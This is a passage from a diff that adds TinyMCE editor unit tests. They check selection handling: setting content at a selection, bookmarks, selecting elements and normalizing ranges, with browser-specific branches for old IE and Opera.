+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.selection.setContent('<div>test</div>');
+	equal(editor.getContent(), '<div>test</div>', 'Set contents at selection');
+
+	// Set contents at selection (collapsed)
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 0);
+	editor.selection.setRng(rng);
+	editor.selection.setContent('<div>test</div>');
+	equal(editor.getContent(), '<div>test</div>\n<p>text</p>', 'Set contents at selection (collapsed)');
+
+	// Insert in middle of paragraph
+	editor.setContent('<p>beforeafter</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 'before'.length);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 'before'.length);
+	editor.selection.setRng(rng);
+	editor.selection.setContent('<br />');
+	equal(editor.getContent(), '<p>before<br />after</p>', 'Set contents at selection (inside paragraph)');
+
+	// Check the caret is left in the correct position.
+	rng = editor.selection.getRng(true);
+	if (document.createRange) {
+		equal(rng.startContainer, editor.getBody().firstChild, 'Selection start container');
+		equal(rng.startOffset, 2, 'Selection start offset');
+		equal(rng.endContainer, editor.getBody().firstChild, 'Selection end container');
+		equal(rng.endOffset, 2, 'Selection end offset');
+	} else {
+		// TridentSelection resolves indexed text nodes
+		equal(rng.startContainer, editor.getBody().firstChild.lastChild, 'Selection start container');
+		equal(rng.startOffset, 0, 'Selection start offset');
+		equal(rng.endContainer, editor.getBody().firstChild.lastChild, 'Selection end container');
+		equal(rng.endOffset, 0, 'Selection end offset');
+	}
+
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 0);
+	editor.selection.setRng(rng);
+	editor.selection.setContent('');
+	equal(editor.getContent(), '<p>text</p>', 'Set contents to empty at selection (collapsed)');
+	rng = editor.selection.getRng(true);
+	if (!document.createRange) {
+		// The old IE selection can only be positioned in text nodes
+		equal(rng.startContainer, editor.getBody().firstChild.firstChild, 'Selection start container');
+		equal(rng.startOffset, 0, 'Selection start offset');
+		equal(rng.endContainer, editor.getBody().firstChild.firstChild, 'Selection end container');
+		equal(rng.endOffset, 0, 'Selection end offset');
+	} else {
+		equal(rng.startContainer, editor.getBody(), 'Selection start container');
+		equal(rng.startOffset, 0, 'Selection start offset');
+		equal(rng.endContainer, editor.getBody(), 'Selection end container');
+		equal(rng.endOffset, 0, 'Selection end offset');
+	}
+	
+	// Set selected contents, onSetContent event
+	eventObj = {};
+
+	function handler(event) {
+		eventObj = event;
+	}
+
+	editor.on('SetContent', handler);
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.selection.setContent('<div>text</div>');
+	equal(eventObj.content, '<div>text</div>', 'Set selected contents, onSetContent event');
+	editor.off('SetContent', handler);
+});
+
+test('getStart/getEnd', function() {
+	var rng;
+
+	// Selected contents
+	editor.setContent('<p id="a">text</p><p id="b">text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 0);
+	editor.selection.setRng(rng);
+	equal(editor.selection.getStart().id, 'a', 'Selected contents (getStart)');
+	equal(editor.selection.getEnd().id, 'b', 'Selected contents (getEnd)');
+
+	// Selected contents (collapsed)
+	editor.setContent('<p id="a">text</p>\n<p id="b">text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild.firstChild, 0);
+	editor.selection.setRng(rng);
+	equal(editor.selection.getStart().id, 'a', 'Selected contents (getStart, collapsed)');
+	equal(editor.selection.getEnd().id, 'a', 'Selected contents (getEnd, collapsed)');
+});
+
+test('getBookmark/setBookmark (persistent)', function() {
+	var rng, bookmark;
+
+	// Get persistent bookmark simple text selection
+	editor.setContent('text');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark();
+	equal(editor.getContent(), 'text', 'Editor contents (text)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), 'ex', 'Selected contents (text)');
+
+	// Get persistent bookmark multiple elements text selection
+	editor.setContent('<p>text</p>\n<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark();
+	equal(editor.getContent(), '<p>text</p>\n<p>text</p>', 'Editor contents (elements)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<p>ext</p>\n<p>tex</p>', 'Selected contents (elements)');
+});
+
+test('getBookmark/setBookmark (simple)', function() {
+	var rng, bookmark;
+
+	// Get persistent bookmark simple text selection
+	editor.setContent('text');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(1);
+	equal(editor.getContent(), 'text', 'Editor contents (text)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), 'ex', 'Selected contents (text)');
+
+	// Get persistent bookmark multiple elements text selection
+	editor.setContent('<p>text</p>\n<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(1);
+	equal(editor.getContent(), '<p>text</p>\n<p>text</p>', 'Editor contents (elements)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<p>ext</p>\n<p>tex</p>', 'Selected contents (elements)');
+});
+
+test('getBookmark/setBookmark (nonintrusive) - simple text selection', function() {
+	var rng, bookmark;
+
+	expect(2);
+
+	editor.setContent('text');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2);
+	equal(editor.getContent(), 'text', 'Editor contents (text)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), 'ex', 'Selected contents (text)');
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get non intrusive bookmark simple element selection', function() {
+	var rng, bookmark;
+
+	expect(1);
+
+	// Get non intrusive bookmark simple element selection
+	editor.setContent('<p>text<em>a<strong>b</strong>c</em></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('em')[0], 1);
+	rng.setEnd(editor.dom.select('em')[0], 2);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2);
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<strong>b</strong>', 'Selected contents (element)');
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get non intrusive bookmark multiple elements text selection', function() {
+	var rng, bookmark;
+
+	expect(2);
+
+	// Get non intrusive bookmark multiple elements text selection
+	editor.setContent('<p>text</p>\n<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.firstChild, 1);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2);
+	equal(editor.getContent(), '<p>text</p>\n<p>text</p>', 'Editor contents (elements)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<p>ext</p>\n<p>tex</p>', 'Selected contents (elements)');
+});
+
+test('getBookmark/setBookmark (nonintrusive)', function() {
+	var rng, bookmark;
+
+	expect(2);
+
+	// Get non intrusive bookmark multiple elements text selection fragmented
+	editor.setContent('<p>text</p><p>text</p>');
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('text'));
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.lastChild, 1);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2);
+	equal(editor.getContent(), '<p>textaaatext</p>\n<p>text</p>', 'Editor contents (fragmented, elements)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<p>ext</p>\n<p>tex</p>', 'Selected contents (fragmented, elements)');
+});
+
+test('getBookmark/setBookmark (nonintrusive) - fragmentext text (normalized)', function() {
+	var rng, bookmark;
+
+	expect(2);
+
+	// Get non intrusive bookmark multiple elements text selection fragmented
+	editor.setContent('<p>text</p><p>text</p>');
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('a'));
+	editor.dom.select('p')[0].appendChild(editor.dom.doc.createTextNode('text'));
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild.lastChild, 1);
+	rng.setEnd(editor.getBody().lastChild.firstChild, 3);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.setContent(editor.getContent());
+	equal(editor.getContent(), '<p>textaaatext</p>\n<p>text</p>', 'Editor contents (fragmented, elements)');
+	editor.selection.moveToBookmark(bookmark);
+	equal(editor.selection.getContent(), '<p>ext</p>\n<p>tex</p>', 'Selected contents (fragmented, elements)');
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark before image', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('<p><img src="about:blank" /></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 0);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().firstChild);
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer, editor.getBody().firstChild);
+	equal(rng.endOffset, 0);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark before/after image', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('<p><img src="about:blank" /></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 1);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().firstChild);
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer, editor.getBody().firstChild);
+	equal(rng.endOffset, 1);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark after image', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('<p><img src="about:blank" /></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild, 1);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().firstChild);
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer, editor.getBody().firstChild);
+	equal(rng.endOffset, 1);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark before element', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('abc<b>123</b>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 2);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().firstChild);
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer, editor.getBody().firstChild);
+	equal(rng.endOffset, 2);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark after element', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	// Get bookmark after element
+	editor.setContent('<b>123</b>abc');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().lastChild, 1);
+	rng.setEnd(editor.getBody().lastChild, 2);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().lastChild);
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer, editor.getBody().lastChild);
+	equal(rng.endOffset, 2);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark inside element', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('abc<b>123</b>abc');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().childNodes[1].firstChild, 1);
+	rng.setEnd(editor.getBody().childNodes[1].firstChild, 2);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().childNodes[1].firstChild);
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer, editor.getBody().childNodes[1].firstChild);
+	equal(rng.endOffset, 2);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark inside root text', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('abc');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 1);
+	rng.setEnd(editor.getBody().firstChild, 2);
+	editor.selection.setRng(rng);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.getBody().firstChild);
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer, editor.getBody().firstChild);
+	equal(rng.endOffset, 2);
+});
+
+test('getBookmark/setBookmark (nonintrusive) - Get bookmark inside complex html', function() {
+	var rng, bookmark;
+
+	expect(4);
+
+	editor.setContent('<p>abc</p>123<p>123</p><p>123<b>123</b><table><tr><td>abc</td></tr></table></p>');
+	editor.execCommand('SelectAll');
+	Utils.setSelection('td', 1, 'td', 2);
+	bookmark = editor.selection.getBookmark(2, true);
+	editor.getBody().innerHTML = editor.getBody().innerHTML;
+	editor.selection.moveToBookmark(bookmark);
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer, editor.dom.select('td')[0].firstChild);
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer, editor.dom.select('td')[0].firstChild);
+	equal(rng.endOffset, 2);
+});
+
+test('select empty TD', function() {
+	editor.getBody().innerHTML = '<table><tr><td><br></td></tr></table>';
+	editor.selection.select(editor.dom.select('td')[0], true);
+	equal(editor.selection.getRng(true).startContainer.nodeName, 'TD');
+});
+
+test('select first p', 2, function() {
+	editor.setContent('<p>text1</p><p>text2</p>');
+	editor.selection.select(editor.dom.select('p')[0]);
+	equal(editor.selection.getContent(), '<p>text1</p>', 'Select simple element, content');
+	equal(editor.selection.getStart().nodeName, 'P', 'Select simple element, nodeName');
+});
+
+test('select table', 2, function() {
+	editor.setContent('<table><tbody><tr><td>text1</td></tr></tbody></table>');
+	editor.selection.select(editor.dom.select('table')[0]);
+	equal(editor.selection.getContent(), '<table>\n<tbody>\n<tr>\n<td>text1</td>\n</tr>\n</tbody>\n</table>', 'Select complex element, content');
+	equal(editor.selection.getNode().nodeName, 'TABLE', 'Select complex element, nodeName');
+});
+
+test('select table text 1', 2, function() {
+	editor.setContent('<table><tbody><tr><td id="a">text1</td><td id="b">text2</td></tr></tbody></table>');
+	editor.selection.select(editor.dom.select('table')[0], true);
+	equal(editor.selection.getStart().id, 'a', 'Expand to text content 1 (start)');
+	equal(editor.selection.getEnd().id, 'b', 'Expand to text content 1 (end)');
+});
+
+test('select table text 2', 2, function() {
+	editor.setContent('<table><tbody><tr><td id="a"><br /></td><td id="b"><br /></td></tr></tbody></table>');
+	editor.selection.select(editor.dom.select('table')[0], true);
+	equal(editor.dom.getParent(editor.selection.getStart(), 'td').id, 'a', 'Expand to text content 2 (start)');
+	equal(editor.dom.getParent(editor.selection.getEnd(), 'td').id, 'b', 'Expand to text content 2 (end)');
+});
+
+test('getNode', function() {
+	var rng;
+
+	editor.setContent('<p id="p1"><span id="s1">span1</span> word <span id="s2">span2</span> word <span id="s3">span3</span></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.get('s1').firstChild, 0);
+	rng.setEnd(editor.dom.get('s1').nextSibling, 0);
+	editor.selection.setRng(rng);
+	deepEqual(editor.selection.getNode(), editor.dom.get('s1'), 'Detect selection ends immediately after node at start of paragraph.');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.get('s2').previousSibling, editor.dom.get('s2').previousSibling.length);
+	rng.setEnd(editor.dom.get('s2').nextSibling, 0);
+	editor.selection.setRng(rng);
+	deepEqual(editor.selection.getNode(), editor.dom.get('s2'), 'Detect selection immediately surrounds node in middle of paragraph.');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.get('s3').previousSibling, editor.dom.get('s3').previousSibling.length);
+	rng.setEnd(editor.dom.get('s3').lastChild, editor.dom.get('s3').lastChild.length);
+	editor.selection.setRng(rng);
+	deepEqual(editor.selection.getNode(), editor.dom.get('s3'), 'Detect selection starts immediately before node at end of paragraph.');
+
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.get('s2').previousSibling, editor.dom.get('s2').previousSibling.length);
+	rng.setEnd(editor.dom.get('s3').lastChild, editor.dom.get('s3').lastChild.length);
+	editor.selection.setRng(rng);
+	deepEqual(editor.selection.getNode(), editor.dom.get('p1'), 'Detect selection wrapping multiple nodes does not collapse.');
+});
+
+test('normalize to text node from document', function() {
+	var rng;
+
+	if (tinymce.isOpera || tinymce.isIE) {
+		ok(true, "Skipped on Opera/IE since Opera doesn't let you to set the range to document and IE will steal focus.");
+		return;
+	}
+
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getDoc(), 0);
+	rng.setEnd(editor.getDoc(), 0);
+	editor.selection.setRng(rng);
+	editor.selection.normalize();
+
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeType, 3, 'startContainer node type');
+	equal(rng.startOffset, 0, 'startContainer offset');
+	equal(rng.endContainer.nodeType, 3, 'endContainer node type');
+	equal(rng.endOffset, 0, 'endOffset offset');
+});
+
+test('normalize to br from document', function() {
+	var rng;
+
+	if (tinymce.isOpera || tinymce.isIE) {
+		ok(true, "Skipped on Opera/IE since Opera doesn't let you to set the range to document and IE will steal focus.");
+		return;
+	}
+
+	editor.setContent('<p><br /></p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getDoc(), 0);
+	rng.setEnd(editor.getDoc(), 0);
+	editor.selection.setRng(rng);
+	editor.selection.normalize();
+
+	rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+	equal(rng.startContainer.nodeType, 1, 'startContainer node type');
+	equal(rng.startOffset, 0, 'startContainer offset');
+	equal(rng.endContainer.nodeType, 1, 'endContainer node type');
+	equal(rng.endOffset, 0, 'endOffset offset');
+});
+
+// Only run on non IE browsers since it's not an issue on IE
+if (!tinymce.isIE) {
+	test('normalize with contentEditable:false element', function() {
+		var rng;
+
+		editor.setContent('<p>a<b contentEditable="false">b</b>c</p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild.lastChild, 0);
+		rng.setEnd(editor.getBody().firstChild.lastChild, 0);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.collapsed, true);
+		equal(rng.startContainer.nodeType, 3);
+		equal(rng.startContainer.data, 'c');
+	});
+
+	test('normalize with contentEditable:false parent and contentEditable:true child element', function() {
+		editor.setContent('<p contentEditable="false">a<em contentEditable="true">b</em></p>');
+		Utils.setSelection('em', 0);
+		editor.selection.normalize();
+
+		var rng = editor.selection.getRng(true);
+		equal(rng.collapsed, true);
+		equal(rng.startContainer.nodeType, 3);
+		equal(rng.startContainer.data, 'b');
+	});
+
+	test('normalize with contentEditable:true parent and contentEditable:false child element', function() {
+		editor.setContent('<p contentEditable="true">a<em contentEditable="false">b</em></p>');
+		Utils.setSelection('em', 0);
+		editor.selection.normalize();
+
+		var rng = editor.selection.getRng(true);
+		equal(rng.collapsed, true);
+		equal(rng.startContainer.nodeType, 3);
+		equal(rng.startContainer.data, 'a');
+		equal(rng.startOffset, 1);
+	});
+
+	test('normalize to text node from body', function() {
+		var rng;
+
+		editor.setContent('<p>text</p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 0);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeType, 3, 'startContainer node type');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeType, 3, 'endContainer node type');
+		equal(rng.endOffset, 0, 'endOffset offset');
+	});
+
+	test('normalize to br from body', function() {
+		var rng;
+
+		editor.setContent('<p><br /></p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 0);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+		equal(rng.startContainer.nodeType, 1, 'startContainer node type');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeType, 1, 'endContainer node type');
+		equal(rng.endOffset, 0, 'endOffset offset');
+	});
+
+	test('normalize ignore img', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<img src="about:blank " />';
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'BODY', 'startContainer node name');
+		equal(rng.startContainer.nodeType, 1, 'startContainer node type');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeName, 'BODY', 'endContainer node name');
+		equal(rng.endContainer.nodeType, 1, 'endContainer node type');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+
+	test('normalize to before/after img', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><img src="about:blank " /></p>';
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P', 'startContainer node name');
+		equal(rng.startContainer.nodeType, 1, 'startContainer node type');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeName, 'P', 'endContainer node name');
+		equal(rng.endContainer.nodeType, 1, 'endContainer node type');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+
+	test('normalize to text node inside P', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p>abc</p>';
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody(), 0);
+		rng.setEnd(editor.getBody(), 1);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text', 'startContainer node name');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeName, '#text', 'endContainer node name');
+		equal(rng.endOffset, 3, 'endOffset offset');
+	});
+
+	test('normalize lean left if at the start of text node', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><b>a</b><i>b</i></p>';
+		Utils.setSelection('i', 0);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text', 'startContainer node name');
+		equal(rng.startContainer.parentNode.nodeName, 'B');
+		equal(rng.startOffset, 1, 'startContainer offset');
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.endContainer.parentNode.nodeName, 'B');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+
+	test('normalize lean start to the right if at end of text node', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><b>a</b><i>b</i></p>';
+		Utils.setSelection('b', 1, 'i', 1);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text', 'startContainer node name');
+		equal(rng.startContainer.parentNode.nodeName, 'I');
+		equal(rng.startOffset, 0, 'startContainer offset');
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.endContainer.parentNode.nodeName, 'I');
+		equal(rng.endOffset, 1, 'endOffset offset');
+	});
+
+	test('normalize lean left but break before br', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p>a<br><b>b</b></p>';
+		Utils.setSelection('b', 0);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeValue, 'b');
+		equal(rng.startOffset, 0);
+	});
+
+	test('normalize lean left but break before img', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p>a<img><b>b</b></p>';
+		Utils.setSelection('b', 0);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeValue, 'b');
+		equal(rng.startOffset, 0);
+	});
+
+	test('normalize lean left but don\'t walk out the parent block', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p>a</p><p><b>b</b></p>';
+		Utils.setSelection('b', 0);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeValue, 'b');
+		equal(rng.startOffset, 0);
+	});
+
+	test('normalize lean left into empty inline elements when caret is before br', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><i><b></b></i><br /></p>';
+		rng = editor.dom.createRng();
+		rng.setStartBefore(editor.getBody().firstChild.lastChild);
+		rng.setEndBefore(editor.getBody().firstChild.lastChild);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'B');
+		equal(rng.startOffset, 0);
+	});
+
+	test('normalize don\'t lean left into empty inline elements if there is a br element after caret', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><i><b></b></i><br /><br /></p>';
+		rng = editor.dom.createRng();
+		rng.setStartBefore(editor.getBody().firstChild.lastChild);
+		rng.setEndBefore(editor.getBody().firstChild.lastChild);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.startOffset, 2);
+	});
+
+	test('normalize don\'t lean left into empty inline elements if there is a br element before caret', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p><i><b><br /></b></i><br /></p>';
+		rng = editor.dom.createRng();
+		rng.setStartBefore(editor.getBody().firstChild.lastChild);
+		rng.setEndBefore(editor.getBody().firstChild.lastChild);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'P');
+		equal(rng.startOffset, 1);
+	});
+
+	test('normalize don\'t move start/end if it\'s before/after table', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<table><tr><td>X</td></tr></table>';
+		rng = editor.dom.createRng();
+		rng.setStartBefore(editor.getBody().firstChild);
+		rng.setEndAfter(editor.getBody().lastChild);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, 'BODY');
+		equal(rng.startOffset, 0);
+		equal(rng.endContainer.nodeName, 'BODY');
+		equal(rng.endOffset, 1);
+	});
+
+	test('normalize after paragraph', function() {
+		var rng;
+
+		editor.getBody().innerHTML = '<p>a</p>';
+		rng = editor.dom.createRng();
+		rng.setStartAfter(editor.getBody().firstChild);
+		rng.setEndAfter(editor.getBody().lastChild);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text');
+		equal(rng.startOffset, 1);
+		equal(rng.endContainer.nodeName, '#text');
+		equal(rng.endOffset, 1);
+	});
+
+	test('normalize caret after trailing BR', function() {
+		var rng;
+
+		editor.setContent('<p>a<br /></p>');
+		rng = editor.dom.createRng();
+		rng.setStart(editor.getBody().firstChild, 2);
+		rng.setEnd(editor.getBody().firstChild, 2);
+		editor.selection.setRng(rng);
+		editor.selection.normalize();
+
+		rng = editor.selection.getRng(true);
+		equal(rng.startContainer.nodeName, '#text', 'startContainer node name');
+		equal(rng.startOffset, 1, 'startContainer offset');
